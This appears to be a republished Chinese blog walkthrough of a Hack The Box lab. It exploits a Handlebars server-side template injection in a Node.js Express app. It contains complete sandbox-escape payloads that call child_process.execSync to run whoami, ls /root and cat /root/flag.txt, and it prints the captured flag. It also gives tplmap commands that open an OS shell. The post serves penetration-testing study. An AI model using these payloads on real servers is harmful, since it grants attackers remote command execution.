SSTI服务器模板注入漏洞

这篇具有很好参考价值的文章主要介绍了SSTI服务器模板注入漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

与任何漏洞一样,利用漏洞的第一步就是能够找到它

介绍

该靶场重点在于利用 Node.js 中的模板引擎 Handlebars 中识别的服务器端模板注入漏洞。本演练将演示当开发人员未正确清理用户输入时,如何在 Web 服务器中利用 SSTI。我们还将介绍 Node.js、模板引擎和全局变量的基础知识,以及如何使用可用的受限 Javascript 命令逃离虚拟环境。

举例

-v:增加详细级别,导致 Nmap 打印有关正在进行的扫描的更多信息。

第一步是使用 Nmap 扫描目标 IP 地址以检查打开的端口。

nmap -sC -sV -v 10.129.183.129

SSTI服务器模板注入漏洞

扫描显示端口22(SSH)打开,但是,我们暂时忽略它,因为我们没有凭据或密钥可用于进行身份验证。我们也看到80端口打开运行 HTTP node.js 服务器和使用Express框架。

http://10.129.183.129/

SSTI服务器模板注入漏洞

访问端口 80 后,我们会看到一个目前正在建设中的网页,以及使用电子邮件地址订阅有关该页面更新的选项。网页中的电子邮件订阅通常是一种选项,允许网络访问者通过电子邮件接收有关网站状态或拥有该网站的公司或个人的更新。

让我们提供一个测试电子邮件来验证我们是否有有效的应用程序。当给定要测试的应用程序时,请像打算使用它一样使用它。有时,开发人员将糟糕的代码作为快速解决方案,导致漏洞。让我们输入电子邮件pwninx@hackthebox.eu并单击提交。

pwninx@hackthebox.eu 

SSTI服务器模板注入漏洞

单击提交后,页面将刷新,并得到以下输出。

SSTI服务器模板注入漏洞

输出显示,在“电子邮件”字段中提交的任何输入都会在页面重新加载后反映回用户。这可能会引导我们思考各种潜在的利用向量,例如跨站点脚本(XSS),但是,我们首先需要知道网站在其后端使用哪些框架和编码语言。

在这种情况下,我们从端口 80 上的 Nmap 报告中对服务器后端有一个很好的概述,但是,我们也可以使用一个名为Wappalyzer 的有用扩展,它扫描网站并查找网页正在使用的信息,例如:

Web 框架 

JavaScript 框架 

Web 服务器

编程语言

小部件

还有更多...

要安装诸如Wappalyzer之类的附加组件,只需转到他们正在使用的浏览器的相应扩展存储(Chrome,Firefox等)。在端口 80 上安装并导航回 靶机 后,我们从附加组件获得以下输出。

SSTI服务器模板注入漏洞

Nmap和Wappalyzer都报告说,该服务器是在Node上构建的.js并且使用的是Express框架。

什么是node.js?
Node.js 是一个开源、跨平台的后端 JavaScript 运行时环境,可用于构建可扩展的网络应用程序。

什么是express?
Express 是一个最小且灵活的 Node.js Web 应用程序框架,为 Web 和移动应用程序提供了一组强大的功能。

记住这些信息后,我们就可以开始识别潜在的开发路径。使用默认有效负载验证 XSS 漏洞的各种尝试, 如

<script>alert(1)</script>

, 都失败了。出于这个原因,我们必须寻找不同的漏洞。

Node.js和Python Web后端服务器通常使用称为“模板引擎”的软件。

什么是模板引擎?

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

与所有软件一样,模板引擎也容易出现漏洞。我们今天将关注的漏洞称为服务器端模板注入(SSTI)。

什么是SSTI?
服务器端模板注入是一个漏洞,攻击者将恶意输入注入模板以在服务器上执行命令。

简而言之,SSTI是一种漏洞,攻击者将本机(模板引擎)代码注入网页。然后通过模板引擎运行代码,攻击者在受影响的服务器上获得代码执行。

这种攻击在 Node.js 网站上非常常见,并且很有可能使用模板引擎来反映用户在联系人字段中输入的电子邮件。

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

鉴定

为了利用潜在的SSTI漏洞,我们需要首先确认它的存在。在研究了Google上常见的SSTI有效负载之后,我们发现这篇Hacktricks【https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection】文章展示了各种不同模板引擎的利用技术。下图显示了如何识别是否存在 SSTI 漏洞以及如何找出正在使用的模板引擎。确定引擎后,可以设计更具体的有效负载以允许远程执行代码。

SSTI服务器模板注入漏洞

下面显示了模板表达式中常用的各种特殊字符。

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

如果存在 SSTI,则在提交其中一个后,Web 服务器会将这些表达式检测为有效代码并尝试执行它们,在本例中按 7乘以7计算数学方程,等于 49。

接下来,我们要测试漏洞,我们尝试在电子邮件提交表单中输入

${7*7}

SSTI服务器模板注入漏洞

服务器没有执行表达式,只是将其反射回给我们。让我们继续讨论第二个有效负载 。

{{7*7}}

SSTI服务器模板注入漏洞

提交有效负载后,会弹出错误页面。

SSTI服务器模板注入漏洞

这意味着模板引擎确实检测到有效负载有效,但是代码存在一些错误并且无法执行。错误并不总是一件坏事。相反,对于渗透测试人员,它可以提供有价值的信息。在这种情况下,我们可以看到服务器从/root/Backend目录运行到Handlebars引擎模板

实战

回顾一下 Hacktricks文章,我们可以看到提到了 Handlebars 和 Node.js,以及可用于在 Handlebars SSTI 上运行命令的有效负载。

我们可以使用BP通过以下方式捕获 POST 请求并对其进行编辑,在email处添加有效载荷。

SSTI服务器模板注入漏洞

在我们修改请求之前,让我们通过按CTRL+R 将此 HTTP 数据包发送到 BurpSuite 的中继器模块。现在让我们从HackTricks网站中标题为“Handlebars (NodeJS)”获取部分有效负载。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return require('child_process').exec('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

上面的代码可能看起来很难理解,但对于这篇文章,我们的主要重点是下面这行。

{{this.push "return require('child_process').exec('whoami');"}}

此行指示服务器执行特定的系统命令(在本例中为whoami)。在本文的后面,我们将修改此行以在服务器上执行不同的命令。从 Hacktricks 复制完整的有效负载后,我们必须对其进行 URL 编码,以便将其正确传递到服务器。

URL编码

向 Web 服务器发出请求时,我们发送的数据只能包含标准 128 个ASCII 集中的某些字符。必须对不属于此集的保留字符进行编码。为此,我们使用url编码。

通过此过程,保留字符&变成%26。幸运的是,BurpSuite有一个模块decoder,这使我们能够使用各种不同的编码方法(包括 URL)解码或编码我们选择的文本。

让我们将上述有效负载粘贴到解码器的顶部窗格中,然后选择 encode as>URL。

SSTI服务器模板注入漏洞

复制底部窗格中的 URL 编码有效负载并将其粘贴到选项卡email=当中。我们将获得类似于下图的内容。

SSTI服务器模板注入漏洞

接下来,让我们尝试通过单击顶部的橙色“send”按钮来发送有效负载。

SSTI服务器模板注入漏洞

SSTI服务器模板注入漏洞

响应显示未定义状态的错误。查看有效负载,我们注意到以下代码。

{{this.push "return require('child_process').exec('whoami');"}}

这可能是有效负载出错的部分。require是Javascript中的关键字以及更多,特别是 Node.js用于从其他模块或文件加载代码。上面的代码试图将child_process模块加载到内存中并使用它来执行系统命令(在本例中为whoami)。

模板引擎通常是沙盒化的,这意味着它们的代码在有限的代码空间中运行,因此在运行恶意代码的情况下,将很难加载可以运行系统命令的模块。如果我们在目录不能直接使用require加载此类模块,我们将不得不找其它的方法。

全局

在计算机编程中,“globals”是在整个程序中全局可访问的变量。在 Node.js中同样有效,全局对象在所有加载的模块中都可用。谷歌搜索node.js Global Scope使用关键字将显示此文档,其中详细介绍了所有可用的node.js中的全局对象。值得注意的是,该文档还展示了一个变量列表,这些变量看似是全局对象,但实际上是内置对象。这些如下:

__dirname
__filename
exports
module
require()

从列表中可以看出,require实际上不在global scope内,因此在特定情况下,它可能不易于访问。仔细查看文档,我们发现有一个可用的过程对象。文档指出,此对象提供有关当前 Node.js 进程的信息和控制。我们也许可以使用这个对象来加载模块。让我们看看我们是否可以从 SSTI 调用它。按如下方式修改有效负载:

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process;"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

如前所示对有效负载进行 URL 编码,并使用 BurpSuite intruder模块发送它。

SSTI服务器模板注入漏洞

响应不包含错误,我们可以看到[object process]已被包括在内,意味着[object process]是有效的。

仔细查看process object的文档,我们看到它有一个mainModule 属性,该属性自 Node.js 版本 14.0.0 以来已被弃用,但是,弃用并不一定意味着没用。使用关键字Node.js mainModule进行Google搜索,详细说明了此属性的使用情况。

具体来说,它提到此属性返回一个包含主模块引用的对象。因为主模块在沙盒环境中运行,我们也许可以使用mainModule属性来直接加载主函数,由于主函数很可能没有沙盒化,因此从主模块那里加载requier。让我们再次修改我们的有效负载,看看mainModule 是否可以访问。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process.mainModule;"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

URL 对有效负载进行编码,并使用中继器模块发送它,如前所示。返回以下响应:

SSTI服务器模板注入漏洞

这次也没有错误,我们在响应的末尾看到一个额外的对象,这意味着该属性是确实可用的。现在让我们尝试调用require和加载模块。我们可以加载child_process模块,因为它在默认 Node.js 安装中可用,可用于执行系统命令。修改有效负载,如下所示:

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process.mainModule.require('child_process');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

在 URL 编码并发送有效负载后,我们从服务器收到以下响应:

SSTI服务器模板注入漏洞

require对象已成功调用,并且child_process模块已加载。让我们现在尝试运行系统命令。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

我们需要再次对上述有效负载进行 URL 编码。

SSTI服务器模板注入漏洞

复制底部窗格中的有效负载,然后再次将其粘贴到email=字段中,替换上一个有效负载。

SSTI服务器模板注入漏洞

现在单击“发送”按钮

SSTI服务器模板注入漏洞

下面这个url加密是直接放到网页里面的加密,之前一直不行,是url加密过去,服务器后台解不了密,而导致返回400或者不输出结果

SSTI服务器模板注入漏洞

后面我有去尝试,发现不管是在那个网站上面url加密完,然后重放,服务器都识别不了,直接在网站的输入框里面放就可以了

在响应中,我们看到whoami命令的输出是root。这意味着我们有在盒子上成功运行系统命令,以及 Web 服务器在root用户的下运行。现在,我们可以采取以下两种方式之一。我们可以在受影响的系统上获得反向shell,或者直接抓住旗帜。在这篇文章中,我们将关注后者。

我们知道该flag很可能位于/root当中,但我们也可以验证这一点。让我们改变我们的命令whoami变成ls /root 去列出root目录中的所有文件和文件夹。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('ls /root');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

URL 对有效负载进行编码并按前面所示发送。在响应中,我们看到以下内容。

SSTI服务器模板注入漏洞

flag确实在,被称为flag.txt。让我们修改我们的有效负载以读取它。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

该flag显示在服务器响应中,可以复制并粘贴到Hack The Box平台。

SSTI服务器模板注入漏洞

6b258d726d287462d60c103d0142a81c

tplmap工具

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

github地址:https://github.com/epinna/tplmap

安装文件参考:https://www.cnblogs.com/ktsm/p/15691652.html

命令参考:

python2 tplmap.py -u 'http://10.129.196.98/?email=1*'

只支持python2,命令执行要在工具的目录下面,还可以使用–level=5这个命令,全面测试它

python2 tplmap.py -u 'http://10.129.196.98/?email=1*' --os-shell

SSTI服务器模板注入漏洞
建立连接超时,没有检测出来文章来源地址https://www.toymoban.com/news/detail-472290.html

到了这里,关于SSTI服务器模板注入漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

    笔记分享 一、代码块 二、常用方法 三、SSTI-jinja2执行命令的六种方式 最后附上我的思维导图 开始做题 进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:(以下这些都可以) 开始过滤了,测试了一下过滤了数字,1和

    2024年02月13日
    浏览(28)
  • 如何像专家一样维护服务器硬件?

    大家好!今天,我们要一起来探索一个神秘的世界——服务器硬件。可能你会有点困惑,服务器硬件是什么?别急,让我一一为你解答。 1. 服务器硬件是什么? 想象一下,如果你的家里有一个巨大的衣柜,里面装满了各种各样的衣服。服务器硬件就像这样一个衣柜,只不过

    2024年04月26日
    浏览(46)
  • 高防cdn和高防服务器有什么不一样?

    高防cdn:       相信很多看过我们文章的小伙伴对cdn已经很了解了,cdn的原理很简单,就是构建在网络上的很多个节点,为网站作内容 分发。使用户就近获取所需资源。且分配的cdn节点都是高防节点,每个节点都有防御功能。还可以帮助用户隐藏真实ip。 高防服务器:  

    2024年02月13日
    浏览(37)
  • 服务器的内存和普通的内存有什么不一样呢

    一.首先在选择上来说 普通的内存比如PC内存等等,大家通常都会衡量不同品牌,不同产品之间的性能差异,以及追求一个性价比。 服务器内存则不一样,服务器内存最重要的是要稳定和纠错,并不会去追求更高的频率或者速度,但是会更加看重技术,可以这么说,部分先进

    2024年02月11日
    浏览(34)
  • SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

    由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。 本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解

    2024年02月08日
    浏览(34)
  • 仿`gRPC`功能实现像调用本地方法一样调用其他服务器方法

    在介绍 gRPC 简介之前我们先了解一写概念: 单体架构 单体架构简单理解就是所有的业务代码都在一台服务器上,一旦某个服务宕机,会引起整个应用不可用,隔离性差。只能整体应用进行伸缩,例如整体打包部署一台或多台服务器,浪费资源,可伸缩性差。代码耦合在一起

    2024年02月09日
    浏览(32)
  • SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)

    由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。 但是ctfshow web入门370关相对于ctfshow web入门369关多过滤数字,就是我们不

    2024年02月04日
    浏览(28)
  • 用Python手动实现一个简单的服务器,不借助任何框架在浏览器中输出任意内容

    前言 嗨喽~大家好呀,这里是魔王呐 ❤ ~! 在公司网站开发中,我们往往借助于Flask、Django等网站开发框架去提高网站开发效率。 那么在面试后端开发工程师的时候,面试官可能就会问到网站开发的底层原理是什么? 我们不止仅仅会使用框架开发,还需要知其所以然 今天领大

    2024年02月15日
    浏览(37)
  • 部署在阿里云ECS服务器上的微服务项目中获取到的时间和windows的时间不一样的问题

    继上一篇文章《阿里云ECS服务器无法发送邮件问题解决方案》之后,又发现登录的时候发送邮件中的时间和自己windows上的时间不一样,大概找了一下原因,是LocaDateTime使用的时区不一样导致的远程服务器和本机时间不一致。 只需要在LocaDateTime.now()方法中传一个参数,这个参

    2024年02月07日
    浏览(38)
  • 链接服务器 “(null)“ 的 OLE DB 访问接口 “Microsoft.Ace.OleDb.12.0“ 报错。提供程序未给出有关错误的任何信息。

    【错误信息】 消息 7399,级别 16,状态 1,第 1 行 链接服务器 \\\"(null)\\\" 的 OLE DB 访问接口 \\\"Microsoft.Ace.OleDb.12.0\\\" 报错。提供程序未给出有关错误的任何信息。 (搞了我一天终于找到原因了) 解决方案:1:右击点击属性  勾选 第一个 和第三个。          2.复制下面这段。 --开

    2024年02月04日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包